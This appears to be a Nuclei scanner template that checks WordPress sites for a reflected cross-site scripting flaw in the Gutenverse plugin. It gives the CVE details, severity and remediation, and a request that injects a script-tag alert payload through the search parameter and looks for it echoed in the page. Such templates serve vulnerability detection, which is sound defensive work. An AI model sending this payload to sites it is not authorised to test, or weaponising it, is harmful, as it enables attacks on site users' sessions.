Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting

id: CVE-2026-3001

info:
  name: Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting
  author: coffeetaro_12
  severity: medium
  description: |
    The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.
  remediation: |
    Update to a version later than 3.4.6 or latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-3001
    - https://wpscan.com/vulnerability/b4d5571b-fcbf-409d-be91-efcfe9a3fa95/
    - https://patchstack.com/database/wordpress/plugin/gutenverse/vulnerability/wordpress-gutenverse-wordpress-blocks-page-builder-site-editor-plugin-3-4-6-reflected-cross-site-scripting-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-3001
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: jegstudio
    product: gutenverse
    publicwww-query: "/wp-content/plugins/gutenverse/"
  tags: cve,cve2026,xss,wordpress,gutenverse,wp-plugin,wp

http:
  - raw:
      - |
        GET /?s=<script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"
          - "gutenverse"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

    extractors:
      - type: regex
        part: body
        regex:
          - "<span class='search-input-text'><script>alert(1)</script></span>"
# digest: 490a0046304402200ad5e41e2ce63e0a837e0fa01fc6963a8ac1ded1c2e97f9138fae6b31473a4a40220777aeaff180eec5accae6e0a6d9bb51a7df11545beb510c23030b97cd099d69e:922c64590222798bb761d5b6d8e72950